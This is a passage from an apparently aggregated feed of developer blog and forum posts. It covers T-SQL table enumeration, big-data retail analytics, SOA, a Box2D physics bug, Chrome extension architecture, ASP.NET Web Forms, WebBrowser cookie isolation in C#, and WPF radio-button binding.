such as high priority tasks, tasks due soon and so on. Work queues allow users to create a custom view to group a subset of tasks in the worklist, for example, high priority tasks, tasks due in 24 hours, expense approval tasks and more. Define custom work queues. Gain proxy access to part of another user's tasks. Define custom vacation rules and delegation rules. Enable group owners to define task dispatching rules for shared tasks. Collect a complete workflow history and audit trail. Use digital signatures for tasks. Run reports like Unattended tasks, Tasks productivity, etc. Here is a screenshoot of what the Worklist Application looks like. On the right hand side you can see the tasks that have been assigned to the user and the task's detail.

• Resolving data redundancy up front

  - by okeofs

  Introduction As all of us do when confronted with a problem, the resource of choice is to ‘Google it’. This is where the plot thickens. Recently I was asked to stage data from numerous databases which were to be loaded into a data warehouse. To make a long story short, I was looking for a manner in which to obtain the table names from each database, to ascertain potential overlap.   As the source data comes from a SQL database created from dumps of a third party product,  one could say that there were +/- 95 tables for each database.   Yes I know that first instinct is to use the system stored procedure “exec sp_msforeachdb 'select "?" AS db, * from [?].sys.tables'”. However, if one stops to think about this, it would be nice to have all the results in a temporary or disc based  table; which in itself , implies additional labour. This said,  I decided to ‘re-invent’ the wheel. The full code sample may be found at the bottom of this article.   Define a few temporary tables and variables   declare @SQL varchar(max); declare @databasename varchar(75) /* drop table ##rawdata3 drop table #rawdata1 drop table #rawdata11 */ -- A temp table to hold the names of my databases CREATE TABLE #rawdata1 (    database_name varchar(50) ,    database_size varchar(50),    remarks Varchar(50) )     --A temp table with the same database names as above, HOWEVER using an --Identity number (recNO) as a loop variable. --You will note below that I loop through until I reach 25 (see below) as at --that point the system databases, the reporting server database etc begin. --1- 24 are user databases. These are really what I was looking for. --Whilst NOT the best solution,it works and the code was meant as a quick --and dirty. CREATE TABLE #rawdata11 (    recNo int identity(1,1),    database_name varchar(50) ,    database_size varchar(50),    remarks Varchar(50) )   --My output table showing the database name and table name CREATE TABLE ##rawdata3 (    database_name varchar(75) ,    table_name varchar(75), )   Insert the database names into a temporary table I pull the database names using the system stored procedure sp_databases   INSERT INTO #rawdata1 EXEC sp_databases Go   Insert the results from #rawdata1 into a table containing a record number  #rawdata11 so that I can LOOP through the extract   INSERT into #rawdata11 select * from  #rawdata1   We now declare 3 more variables:  @kounter is used to keep track of our position within the loop. @databasename is used to keep track of the’ current ‘ database name being used in the current pass of the loop;  as inorder to obtain the tables for that database we  need to issue a ‘USE’ statement, an insert command and other related code parts. This is the challenging part. @sql is a varchar(max) variable used to contain the ‘USE’ statement PLUS the’ insert ‘ code statements. We now initalize @kounter to 1 .   declare @kounter int; declare @databasename varchar(75); declare @sql varchar(max); set @kounter = 1   The Loop The astute reader will remember that the temporary table #rawdata11 contains our  database names  and each ‘database row’ has a record number (recNo). I am only interested in record numbers under 25. I now set the value of the temporary variable @DatabaseName (see below) .Note that I used the row number as a part of the predicate. Now, knowing the database name, I can create dynamic T-SQL to be executed using the sp_sqlexec stored procedure (see the code in red below). Finally, after all the tables for that given database have been placed in temporary table ##rawdata3, I increment the counter and continue on. Note that I used a global temporary table to ensure that the result set persists after the termination of the run. At some stage, I plan to redo this part of the code, as global temporary tables are not really an ideal solution.    WHILE (@kounter < 25)  BEGIN  select @DatabaseName = database_name from #rawdata11 where recNo = @kounter  set @SQL = 'Use ' + @DatabaseName + ' Insert into ##rawdata3 ' + + ' SELECT table_catalog,Table_name FROM information_schema.tables' exec sp_sqlexec  @Sql  SET @kounter  = @kounter + 1  END   The full code extract   Here is the full code sample.   declare @SQL varchar(max); declare @databasename varchar(75) /* drop table ##rawdata3 drop table #rawdata1 drop table #rawdata11 */ CREATE TABLE #rawdata1 (    database_name varchar(50) ,    database_size varchar(50),    remarks Varchar(50) ) CREATE TABLE #rawdata11 (    recNo int identity(1,1),    database_name varchar(50) ,    database_size varchar(50),    remarks Varchar(50) ) CREATE TABLE ##rawdata3 (    database_name varchar(75) ,    table_name varchar(75), )   INSERT INTO #rawdata1 EXEC sp_databases go INSERT into #rawdata11 select * from  #rawdata1 declare @kounter int; declare @databasename varchar(75); declare @sql varchar(max); set @kounter = 1 WHILE (@kounter < 25)  BEGIN  select @databasename = database_name from #rawdata11 where recNo = @kounter  set @SQL = 'Use ' + @DatabaseName + ' Insert into ##rawdata3 ' + + ' SELECT table_catalog,Table_name FROM information_schema.tables' exec sp_sqlexec  @Sql  SET @kounter  = @kounter + 1  END    select * from ##rawdata3  where table_name like '%SalesOrderHeader%'

• Big data: An evening in the life of an actual buyer

  - by Jean-Pierre Dijcks

  Here I am, and this is an actual story of one of my evenings, trying to spend money with a company and ultimately failing. I just gave up and bought a service from another vendor, not the incumbent. Here is that story and how I think big data could actually fix this (and potentially prevent some of this from happening). In the end this story should illustrate how big data can benefit me (get me what I want without causing grief) and the company I am trying to buy something from. Note: Lots of details left out, I have no intention of being the annoyed blogger moaning about a specific company. What did I want to get? We watch TV, we have internet and we do have a land line. The land line is from a different vendor then the TV and the internet. I have decided that this makes no sense and I was going to get a bundle (no need to infer who this is, I just picked the generic bundle word as this is what I want to get) of all three services as this seems to save me money. I also want to not talk to people, I just want to click on a website when I feel like it and get it all sorted. I do think that is reality. I want to just do my shopping at 9.30pm while watching silly reruns on TV. Problem 1 - Bad links So, I'm an existing customer of the company I want to buy my bundle from. I go to the website, I click on offers. Turns out they are offers for new customers. After grumbling about how good they are, I click on offers for existing customers. Bummer, it goes to offers for new customers, so I click again on the link for offers for existing customers. No cigar... it just does not work. Big data solutions: 1) Do not show an existing customer the offers for new customers unless they are the same => This is only partially doable without login, but if a customer logs in the application should always know that this is an existing customer. But in general, imagine I do this from my home going through the internet service of this vendor to their domain... an instant filter should move me into the "existing customer route". 2) Flag dead or incorrect links => I've clicked the link for "existing customer offers" at least 3 times in under 5 seconds... Identifying patterns like this is easy in Hadoop and can very quickly make a list of potentially incorrect links. No need for realtime fixing, just the fact that this link can be pro-actively fixed across my entire web domain is a good thing. Preventative maintenance! Problem 2 - Purchase cannot be completed Apart from the fact that the browsing pattern to actually get to what I want is poorly designed, my purchase never gets past a specific point. In other words, I put something into my shopping cart and when I want to move on the application either crashes (with me going to an error page) or hangs or goes into something like chat. So I try again, and again and again. I think I tried this entire path (while being logged in!!) at least 10 times over the course of 20 minutes. I also clicked on the feedback button and, frustrated as I was, tried to explain this did not work... Big Data Solutions: 1) This web site does shopping cart analysis. I got an email next day stating I have things in my shopping cart, just click here to complete my purchase. After the above experience, this just added insult to my pain... 2) What should have happened, is a Hadoop job going over all logged in customers that are on the buy flow. It should flag anyone who is trying (multiple attempts from the same user to do the same thing), analyze the shopping card, the clicks to identify what the customers wants, his feedback provided (note: always own your own website feedback, never just farm this out!!) and in a short turn around time (30 minutes to 2 hours or so) email me with a link to complete my purchase. Not with a link to my shopping cart 12 hours later, but a link to actually achieve what I wanted... Why should this company go through the big data effort? I do believe this is relatively easy to do using our Oracle Event Processing and Big Data Appliance solutions combined. It is almost so simple (to my mind) that it makes no sense that this is not in place? But, now I am ranting... Why is this interesting? It is because of $$$$. After trying really hard, I mean I did this all in the evening, and again in the morning before going to work. I kept on failing, But I really wanted this to work... so an email that said, sorry, we noticed you tried to get a bundle (the log knows what I wanted, where I failed, so easy to generate), here is the link to click and complete your purchase. And here is 2 movies on us as an apology would have kept me as a customer, and got the additional $$$$ per month for the next couple of years. It would also lead to upsell on my phone package etc. Instead, I went to a completely different company, bought service from them. Lost money for company A, negative sentiment for company A and me telling this story at the water cooler so I'm influencing more people to think negatively about company A. All in all, a loss of easy money, a ding in sentiment and image where a relatively simple solution exists and can be in place on the software I describe routinely in this blog... For those who are coming to Openworld and maybe see value in solving the above, or are thinking of how to solve this, come visit us in Moscone North - Oracle Red Lounge or in the Engineered Systems Showcase.

• SOA Implementation Challenges

  Why do companies think that if they put up a web service that they are doing Service-Oriented Architecture (SOA)? Unfortunately, the IT and business world love to run on the latest hype or buzz words of which very few even understand the meaning. One of the largest issues companies have today as they consider going down the path of SOA, is the lack of knowledge regarding the architectural style and the over usage of the term SOA. So how do we solve this issue?I am sure most of you are thinking by now that you know what SOA is because you developed a few web services.  Isn’t that SOA, right? No, that is not SOA, but instead Just Another Web Service (JAWS). For us to better understand what SOA is let’s look at a few definitions.Douglas K. Bary defines service-oriented architecture as a collection of services. These services are enabled to communicate with each other in order to pass data or coordinating some activity with other services.If you look at this definition closely you will notice that Bary states that services communicate with each other. Let us compare this statement with my first statement regarding companies that claim to be doing SOA when they have just a collection of web services. In order for these web services to for an SOA application they need to be interdependent on one another forming some sort of architectural hierarchy. Just because a company has a few web services does not mean that they are all interconnected.SearchSOA from TechTarget.com states that SOA defines how two computing entities work collectively to enable one entity to perform a unit of work on behalf of another. Once again, just because a company has a few web services does not guarantee that they are even working together let alone if they are performing work for each other.SearchSOA also points out service interactions should be self-contained and loosely-coupled so that all interactions operate independent of each other.Of all the definitions regarding SOA Thomas Erl’s seems to shed the most light on this concept. He states that “SOA establishes an architectural model that aims to enhance the efficiency, agility, and productivity of an enterprise by positioning services as the primary means through which solution logic is represented in support of the realization of the strategic goals associated with service-oriented computing.” (Erl, 2011) Once again this definition proves that a collection of web services does not mean that a company is doing SOA. However, it does mean that a company has a collection of web services, and that is it.In order for a company to start to go down the path of SOA, they must take  a hard look at their existing business process while abstracting away any technology so that they can define what is they really want to accomplish. Once a company has done this, they can begin to factor out common sub business process like credit card process, user authentication or system notifications in to small components that can be built independent of each other and then reassembled to form new and dynamic services that are loosely coupled and agile in that they can change as a business grows.Another key pitfall of companies doing SOA is the fact that they let vendors drive their architecture. Why do companies do this? Vendors’ do not hold your company’s success as their top priority; in fact they hold their own success as their top priority by selling you as much stuff as you are willing to buy. In my experience companies tend to strive for the maximum amount of benefits with a minimal amount of cost. Does anyone else see any conflicts between this and the driving force behind vendors.Mike Kavis recommends in an article written in CIO.com that companies need to figure out what they need before they talk to a vendor or at least have some idea of what they need. It is important to thoroughly evaluate each vendor and watch them perform a live demo of their system so that you as the company fully understand what kind of product or service the vendor is actually offering. In addition, do research on each vendor that you are considering, check out blog posts, online reviews, and any information you can find on the vendor through various search engines.Finally he recommends companies to verify any recommendations supplied by a vendor. From personal experience this is very important. I can remember when the company I worked for purchased a $200,000 add-on to their phone system that never actually worked as it was intended. In fact, just after my departure from the company started the process of attempting to get their money back from the vendor. This potentially could have been avoided if the company had done the research before selecting this vendor to ensure that their product and vendor would live up to their claims. I know that some SOA vendor offer free training regarding SOA because they know that there are a lot of misconceptions about the topic. Superficially this is a great thing for companies to take part in especially if the company is starting to implement SOA architecture and are still unsure about some topics or are looking for some guidance regarding the topic. However beware that some companies will focus on their product line only regarding the training. As an example, InfoWorld.com claims that companies providing deep seminars disguised as training, focusing more about ESBs and SOA governance technology, and less on how to approach and solve the architectural issues of the attendees.In short, it is important to remember that we as software professionals are responsible for guiding a business’s technology sections should be well informed and fully understand any new concepts that may be considered for implementation. As I have demonstrated already a company that has a few web services does not mean that they are doing SOA.  Additionally, we must not let the new buzz word of the day drive our technology, but instead our technology decisions should be driven from research and proven experience. Finally, it is important to rely on vendors when necessary, however, always take what they say with a grain of salt while cross checking any claims that they may make because we have to live with the aftermath of a system after the vendors are gone.   References: Barry, D.

• b2Body moves without stopping

  - by SentineL

  I got a quite strange bug. It is difficult to explain it in two words, but i'll try to do this in short. My b2Body has restitution, friction, density, mass and collision group. I controlling my b2Body via setting linear velocity to it (called on every iteration): (void)moveToDirection:(CGPoint)direction onlyHorizontal:(BOOL)horizontal { b2Vec2 velocity = [controlledObject getBody]-GetLinearVelocity(); double horizontalSpeed = velocity.x + controlledObject.acceleration * direction.x; velocity.x = (float32) (abs((int) horizontalSpeed) < controlledObject.runSpeed ? horizontalSpeed : controlledObject.maxSpeed * direction.x); if (!horizontal) { velocity.y = velocity.y + controlledObject.runSpeed * direction.y; } [controlledObject getBody]->SetLinearVelocity(velocity); } My floor is static b2Body, it has as restitution, friction, density, mass and same collision group in some reason, I'm setting b2Body's friction of my Hero to zero when it is moving, and returning it to 1 when he stops. When I'm pushing run button, hero runs. when i'm releasing it, he stops. All of this works perfect. On jumping, I'm setting linear velocity to my Hero: (void)jump { b2Vec2 velocity = [controlledObject getBody]->GetLinearVelocity(); velocity.y = velocity.y + [[AppDel cfg] getHeroJumpVlelocity]; [controlledObject getBody]->SetLinearVelocity(velocity); } If I'll run, jump, and release run button, while he is in air, all will work fine. And here is my problem: If I'll run, jump, and continue running on landing (or when he goes from one static body to another: there is small fall, probably), Hero will start move, like he has no friction, but he has! I checked this via beakpoints: he has friction, but I can move left of right, and he will never stop, until i'll jump (or go from one static body to another), with unpressed running button. I allready tried: Set friction to body on every iteration double-check am I setting friction to right fixture. set Linear Damping to Hero: his move slows down on gugged moveing. A little more code: I have a sensor and body fixtures in my hero: (void) addBodyFixture { b2CircleShape dynamicBox; dynamicBox.m_radius = [[AppDel cfg] getHeroRadius]; b2FixtureDef bodyFixtureDef; bodyFixtureDef.shape = &dynamicBox; bodyFixtureDef.density = 1.0f; bodyFixtureDef.friction = [[AppDel cfg] getHeroFriction]; bodyFixtureDef.restitution = [[AppDel cfg] getHeroRestitution]; bodyFixtureDef.filter.categoryBits = 0x0001; bodyFixtureDef.filter.maskBits = 0x0001; bodyFixtureDef.filter.groupIndex = 0; bodyFixtureDef.userData = [NSNumber numberWithInt:FIXTURE_BODY]; [physicalBody addFixture:bodyFixtureDef]; } (void) addSensorFixture { b2CircleShape sensorBox; sensorBox.m_radius = [[AppDel cfg] getHeroRadius] * 0.95; sensorBox.m_p.Set(0, -[[AppDel cfg] getHeroRadius] / 10); b2FixtureDef sensor; sensor.shape = &sensorBox; sensor.filter.categoryBits = 0x0001; sensor.filter.maskBits = 0x0001; sensor.filter.groupIndex = 0; sensor.isSensor = YES; sensor.userData = [NSNumber numberWithInt:FIXTURE_SENSOR]; [physicalBody addFixture:sensor]; } Here I'm tracking is hero in air: void FixtureContactListener::BeginContact(b2Contact* contact) { // We need to copy out the data because the b2Contact passed in // is reused. Squirrel *squirrel = (Squirrel *)contact->GetFixtureB()->GetBody()->GetUserData(); if (squirrel) { [squirrel addContact]; } } void FixtureContactListener::EndContact(b2Contact* contact) { Squirrel *squirrel = (Squirrel *)contact->GetFixtureB()->GetBody()->GetUserData(); if (squirrel) { [squirrel removeContact]; } } here is Hero's logic on contacts: - (void) addContact { if (contactCount == 0) [self landing]; contactCount++; } - (void) removeContact { contactCount--; if (contactCount == 0) [self flying]; if (contactCount <0) contactCount = 0; } - (void)landing { inAir = NO; acceleration = [[AppDel cfg] getHeroRunAcceleration]; [sprite stopAllActions]; (running ? [sprite runAction:[self runAction]] : [sprite runAction:[self standAction]]); } - (void)flying { inAir = YES; acceleration = [[AppDel cfg] getHeroAirAcceleration]; [sprite stopAllActions]; [self flyAction]; } here is Hero's moving logic: - (void)stop { running = NO; if (!inAir) { [sprite stopAllActions]; [sprite runAction:[self standAction]]; } } - (void)left { [physicalBody setFriction:0]; if (!running && !inAir) { [sprite stopAllActions]; [sprite runAction:[self runAction]]; } running = YES; moveingDirection = NO; [bodyControls moveToDirection:CGPointMake(-1, 0) onlyHorizontal:YES]; } - (void)right { [physicalBody setFriction:0]; if (!running && !inAir) { [sprite stopAllActions]; [sprite runAction:[self runAction]]; } running = YES; moveingDirection = YES; [bodyControls moveToDirection:CGPointMake(1, 0) onlyHorizontal:YES]; } - (void)jump { if (!inAir) { [bodyControls jump]; } } and here is my update method (called on every iteration): - (void)update:(NSMutableDictionary *)buttons { if (!isDead) { [self updateWithButtonName:BUTTON_LEFT inButtons:buttons whenPressed:@selector(left) whenUnpressed:@selector(stop)]; [self updateWithButtonName:BUTTON_RIGHT inButtons:buttons whenPressed:@selector(right) whenUnpressed:@selector(stop)]; [self updateWithButtonName:BUTTON_UP inButtons:buttons whenPressed:@selector(jump) whenUnpressed:@selector(nothing)]; [self updateWithButtonName:BUTTON_DOWN inButtons:buttons whenPressed:@selector(nothing) whenUnpressed:@selector(nothing)]; [sprite setFlipX:(moveingDirection)]; } [self checkPosition]; if (!running) [physicalBody setFriction:[[AppDel cfg] getHeroFriction]]; else [physicalBody setFriction:0]; } - (void)updateWithButtonName:(NSString *)buttonName inButtons:(NSDictionary *)buttons whenPressed:(SEL)pressedSelector whenUnpressed:(SEL)unpressedSelector { NSNumber *buttonNumber = [buttons objectForKey:buttonName]; if (buttonNumber == nil) return; if ([buttonNumber boolValue]) [self performSelector:pressedSelector]; else [self performSelector:unpressedSelector]; } - (void)checkPosition { b2Body *body = [self getBody]; b2Vec2 position = body->GetPosition(); CGPoint inWorldPosition = [[AppDel cfg] worldMeterPointFromScreenPixel:CGPointMake(position.x * PTM_RATIO, position.y * PTM_RATIO)]; if (inWorldPosition.x < 0 || inWorldPosition.x > WORLD_WIDGH / PTM_RATIO || inWorldPosition.y <= 0) { [self kill]; } }

• Restructuring a large Chrome Extension/WebApp

  - by A.M.K

  I have a very complex Chrome Extension that has gotten too large to maintain in its current format. I'd like to restructure it, but I'm 15 and this is the first webapp or extension of it's type I've built so I have no idea how to do it. TL;DR: I have a large/complex webapp I'd like to restructure and I don't know how to do it. Should I follow my current restructure plan (below)? Does that sound like a good starting point, or is there a different approach that I'm missing? Should I not do any of the things I listed? While it isn't relevant to the question, the actual code is on Github and the extension is on the webstore. The basic structure is as follows: index.html <html> <head> <link href="css/style.css" rel="stylesheet" /> <!-- This holds the main app styles --> <link href="css/widgets.css" rel="stylesheet" /> <!-- And this one holds widget styles --> </head> <body class="unloaded"> <!-- Low-level base elements are "hardcoded" here, the unloaded class is used for transitions and is removed on load. i.e: --> <div class="tab-container" tabindex="-1"> <!-- Tab nav --> </div> <!-- Templates for all parts of the application and widgets are stored as elements here. I plan on changing these to <script> elements during the restructure since <template>'s need valid HTML. --> <template id="template.toolbar"> <!-- Template content --> </template> <!-- Templates end --> <!-- Plugins --> <script type="text/javascript" src="js/plugins.js"></script> <!-- This contains the code for all widgets, I plan on moving this online and downloading as necessary soon. --> <script type="text/javascript" src="js/widgets.js"></script> <!-- This contains the main application JS. --> <script type="text/javascript" src="js/script.js"></script> </body> </html> widgets.js (initLog || (window.initLog = [])).push([new Date().getTime(), "A log is kept during page load so performance can be analyzed and errors pinpointed"]); // Widgets are stored in an object and extended (with jQuery, but I'll probably switch to underscore if using Backbone) as necessary var Widgets = { 1: { // Widget ID, this is set here so widgets can be retreived by ID id: 1, // Widget ID again, this is used after the widget object is duplicated and detached size: 3, // Default size, medium in this case order: 1, // Order shown in "store" name: "Weather", // Widget name interval: 300000, // Refresh interval nicename: "weather", // HTML and JS safe widget name sizes: ["tiny", "small", "medium"], // Available widget sizes desc: "Short widget description", settings: [ { // Widget setting specifications stored as an array of objects. These are used to dynamically generate widget setting popups. type: "list", nicename: "location", label: "Location(s)", placeholder: "Enter a location and press Enter" } ], config: { // Widget settings as stored in the tabs object (see script.js for storage information) size: "medium", location: ["San Francisco, CA"] }, data: {}, // Cached widget data stored locally, this lets it work offline customFunc: function(cb) {}, // Widgets can optionally define custom functions in any part of their object refresh: function() {}, // This fetches data from the web and caches it locally in data, then calls render. It gets called after the page is loaded for faster loads render: function() {} // This renders the widget only using information from data, it's called on page load. } }; script.js (initLog || (window.initLog = [])).push([new Date().getTime(), "These are also at the end of every file"]); // Plugins, extends and globals go here. i.e. Number.prototype.pad = .... var iChrome = function(refresh) { // The main iChrome init, called with refresh when refreshing to not re-run libs iChrome.Status.log("Starting page generation"); // From now on iChrome.Status.log is defined, it's used in place of the initLog iChrome.CSS(); // Dynamically generate CSS based on settings iChrome.Tabs(); // This takes the tabs stored in the storage (see fetching below) and renders all columns and widgets as necessary iChrome.Status.log("Tabs rendered"); // These will be omitted further along in this excerpt, but they're used everywhere // Checks for justInstalled => show getting started are run here /* The main init runs the bare minimum required to display the page, this sets all non-visible or instantly need things (such as widget dragging) on a timeout */ iChrome.deferredTimeout = setTimeout(function() { iChrome.deferred(refresh); // Pass refresh along, see above }, 200); }; iChrome.deferred = function(refresh) {}; // This calls modules one after the next in the appropriate order to finish rendering the page iChrome.Search = function() {}; // Modules have a base init function and are camel-cased and capitalized iChrome.Search.submit = function(val) {}; // Methods within modules are camel-cased and not capitalized /* Extension storage is async and fetched at the beginning of plugins.js, it's then stored in a variable that iChrome.Storage processes. The fetcher checks to see if processStorage is defined, if it is it gets called, otherwise settings are left in iChromeConfig */ var processStorage = function() { iChrome.Storage(function() { iChrome.Templates(); // Templates are read from their elements and held in a cache iChrome(); // Init is called }); }; if (typeof iChromeConfig == "object") { processStorage(); } Objectives of the restructure Memory usage: Chrome apparently has a memory leak in extensions, they're trying to fix it but memory still keeps on getting increased every time the page is loaded. The app also uses a lot on its own. Code readability: At this point I can't follow what's being called in the code. While rewriting the code I plan on properly commenting everything. Module interdependence: Right now modules call each other a lot, AFAIK that's not good at all since any change you make to one module could affect countless others. Fault tolerance: There's very little fault tolerance or error handling right now. If a widget is causing the rest of the page to stop rendering the user should at least be able to remove it. Speed is currently not an issue and I'd like to keep it that way. How I think I should do it The restructure should be done using Backbone.js and events that call modules (i.e. on storage.loaded = init). Modules should each go in their own file, I'm thinking there should be a set of core files that all modules can rely on and call directly and everything else should be event based. Widget structure should be kept largely the same, but maybe they should also be split into their own files. AFAIK you can't load all templates in a folder, therefore they need to stay inline. Grunt should be used to merge all modules, plugins and widgets into one file. Templates should also all be precompiled. Question: Should I follow my current restructure plan? Does that sound like a good starting point, or is there a different approach that I'm missing? Should I not do any of the things I listed? Do applications written with Backbone tend to be more intensive (memory and speed) than ones written in Vanilla JS? Also, can I expect to improve this with a proper restructure or is my current code about as good as can be expected?

• Building an ASP.Net 4.5 Web forms application - part 3

  - by nikolaosk

  ?his is the third post in a series of posts on how to design and implement an ASP.Net 4.5 Web Forms store that sells posters on line.Make sure you read the first and second post in the series.In this new post I will keep making some minor changes in the Markup,CSS and Master page but there is no point in presenting them here. They are just minor changes to reflect the content and layout I want my site to have. What I need to do now is to add some more pages and start displaying properly data from my database.Having said that I will show you how to add more pages to the web application and present data.1) Launch Visual Studio and open your solution where your project lives2) Add a new web form item on the project.Make sure you include the Master Page.Name it PosterList.aspxHave a look at the picture below 3) In Site.Master add the following link to the master page so the user can navigate to it.You should only add the line in bold     <nav>                    <ul id="menu">                        <li><a runat="server" href="~/">Home</a></li>                        <li><a runat="server" href="~/About.aspx">About</a></li>                        <li><a runat="server" href="~/Contact.aspx">Contact</a></li>                          <li><a href="http://weblogs.asp.net/PosterList.aspx">Posters</a></li>                    </ul>                </nav> 4) Now we need to display categories from the database. We will use a ListView web server control.Inside the <div id="body"> add the following code. <section id="postercat">       <asp:ListView ID="categoryList"                          ItemType="PostersOnLine.DAL.PosterCategory"                         runat="server"                        SelectMethod="GetPosterCategories" >                        <ItemTemplate>                                                    <a href="http://weblogs.asp.net/PosterList.aspx?id=<%#: Item.PosterCategoryID %>">                            <%#: Item.PosterCategoryName %>                            </a>                            </b>                        </ItemTemplate>                        <ItemSeparatorTemplate> ----- </ItemSeparatorTemplate>                    </asp:ListView>             </section>        Let me explain what the code does.We have the ListView control that displays each poster category's name.It also includes a link to the PosterList.aspx page with a query-string value containing the ID of the category. We set the ItemType property in the ListView to the PosterCategory entity .We set the SelectMethod property to a method GetPosterCategories. Now we can use the data-binding expression Item (<%#: %>) that is available within the ItemTemplate . 5) Now we must write the GetPosterCategories method. In the Site.Master.cs file add the following code.This is just a simple function that returns the poster categories.        public IQueryable<PosterCategory> GetPosterCategories()        {            PosterContext ctx = new PosterContext();            IQueryable<PosterCategory> query = ctx.PosterCategories;            return query;        } 6) I just changed a few things in the Site.css file to style the new <section> HTML element that includes the ListView control.#postercat {  text-align: center; background-color: #85C465;}     7) Build and run your application. Everything should compile now. Have a look at the picture below.The links (poster categories) appear.?he ListView control when is called during the page lifecycle calls the GetPosterCategories() method.The method is executed and returns the poster categories that are bound to the control.  When I click on any of the poster category links, the PosterList.aspx page will show up with the appropriate Id that is the PosterCategoryID.Have a look at the picture below  We will add more data-enabled controls in the next post in the PosterList.aspx page. Some people are complaining the posts are too long so I will keep them short. Hope it helps!!!

• Clearing C#'s WebBrowser control's cookies for all sites WITHOUT clearing for IE itself

  - by Helgi Hrafn Gunnarsson

  Hail StackOverflow! The short version of what I'm trying to do is in the title. Here's the long version. I have a bit of a complex problem which I'm sure I will receive a lot of guesses as a response to. In order to keep the well-intended but unfortunately useless guesses to a minimum, let me first mention that the solution to this problem is not simple, so simple suggestions will unfortunately not help at all, even though I appreciate the effort. C#'s WebBrowser component is fundamentally IE itself so solutions with any sorts of caveats will almost certainly not work. I need to do exactly what I'm trying to do, and even a seemingly minor caveat will defeat the purpose completely. At the risk of sounding arrogant, I need assistance from someone who really has in-depth knowledge about C#'s WebBrowser and/or WinInet and/or how to communicate with Windows's underlying system from C#... or how to encapsulate C++ code in C#. That said, I don't expect anyone to do this for me, and I've found some promising hints which are explained later in this question. But first... what I'm trying to achieve is this. I have a Windows.Forms component which contains a WebBrowser control. This control needs to: Clear ALL cookies for ALL websites. Visit several websites, one after another, and record cookies and handle them correctly. This part works fine already so I don't have any problems with this. Rinse and repeat... theoretically forever. Now, here's the real problem. I need to clear all those cookies (for any and all sites), but only for the WebBrowser control itself and NOT the cookies which IE proper uses. What's fundamentally wrong with this approach is of course the fact that C#'s WebBrowser control is IE. But I'm a stubborn young man and I insist on it being possible, or else! ;) Here's where I'm stuck at the moment. It is quite simply impossible to clear all cookies for the WebBrowser control programmatically through C# alone. One must use DllImport and all the crazy stuff that comes with it. This chunk works fine for that purpose: [DllImport("wininet.dll", SetLastError = true)] private static extern bool InternetSetOption(IntPtr hInternet, int dwOption, IntPtr lpBuffer, int lpdwBufferLength); And then, in the function that actually does the clearing of the cookies: InternetSetOption(IntPtr.Zero, INTERNET_OPTION_END_BROWSER_SESSION, IntPtr.Zero, 0); Then all the cookies get cleared and as such, I'm happy. The program works exactly as intended, aside from the fact that it also clears IE's cookies, which must not be allowed to happen. The problem is that this also clears the cookies for IE proper, and I can't have that happen. From one fellow StackOverflower (if that's a word), Sheng Jiang proposed this to a different problem in a comment, but didn't elaborate further: "If you want to isolate your application's cookies you need to override the Cache directory registry setting via IDocHostUIHandler2::GetOverrideKeyPath" I've looked around the internet for IDocHostUIHandler2 and GetOverrideKeyPath, but I've got no idea of how to use them from C# to isolate cookies to my WebBrowser control. My experience with the Windows registry is limited to RegEdit (so I understand that it's a tree structure with different data types but that's about it... I have no in-depth knowledge of the registry's relationship with IE, for example). Here's what I dug up on MSDN: IDocHostUIHandler2 docs: http://msdn.microsoft.com/en-us/library/aa753275%28VS.85%29.aspx GetOverrideKeyPath docs: http://msdn.microsoft.com/en-us/library/aa753274%28VS.85%29.aspx I think I know roughly what these things do, I just don't know how to use them. So, I guess that's it! Any help is greatly appreciated.

• MVVM: Binding radio buttons to a view model?

  - by David Veeneman

  I have been trying to bind a group of radio buttons to a view model using the IsChecked button. After reviewing other posts, it appears that the IsChecked property simply doesn't work. I have put together a short demo that reproduces the problem, which I have included below. Here is my question: Is there a straightforward and reliable way to bind radio buttons using MVVM? Thanks. Additional information: The IsChecked property doesn't work for two reasons: When a button is selected, the IsChecked properties of other buttons in the group don't get set to false. When a button is selected, its own IsChecked property does not get set after the first time the button is selected. I am guessing that the binding is getting trashed by WPF on the first click. Demo project: Here is the code and markup for a simple demo that reproduces the problem. Create a WPF project and replace the markup in Window1.xaml with the following: <Window x:Class="WpfApplication1.Window1" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" Title="Window1" Height="300" Width="300" Loaded="Window_Loaded"> <StackPanel> <RadioButton Content="Button A" IsChecked="{Binding Path=ButtonAIsChecked, Mode=TwoWay}" /> <RadioButton Content="Button B" IsChecked="{Binding Path=ButtonBIsChecked, Mode=TwoWay}" /> </StackPanel> </Window> Replace the code in Window1.xaml.cs with the following code (a hack), which sets the view model: using System.Windows; namespace WpfApplication1 { /// <summary> /// Interaction logic for Window1.xaml /// </summary> public partial class Window1 : Window { public Window1() { InitializeComponent(); } private void Window_Loaded(object sender, RoutedEventArgs e) { this.DataContext = new Window1ViewModel(); } } } Now add the following code to the project as Window1ViewModel.cs: using System.Windows; namespace WpfApplication1 { public class Window1ViewModel { private bool p_ButtonAIsChecked; /// <summary> /// Summary /// </summary> public bool ButtonAIsChecked { get { return p_ButtonAIsChecked; } set { p_ButtonAIsChecked = value; MessageBox.Show(string.Format("Button A is checked: {0}", value)); } } private bool p_ButtonBIsChecked; /// <summary> /// Summary /// </summary> public bool ButtonBIsChecked { get { return p_ButtonBIsChecked; } set { p_ButtonBIsChecked = value; MessageBox.Show(string.Format("Button B is checked: {0}", value)); } } } } To reproduce the problem, run the app and click Button A. A message box will appear, saying that Button A's IsChecked property has been set to true. Now select Button B. Another message box will appear, saying that Button B's IsChecked property has been set to true, but there is no message box indicating that Button A's IsChecked property has been set to false--the property hasn't been changed. Now click Button A again. The button will be selected in the window, but no message box will appear--the IsChecked property has not been changed. Finally, click on Button B again--same result. The IsChecked property is not updated at all for either button after the button is first clicked.

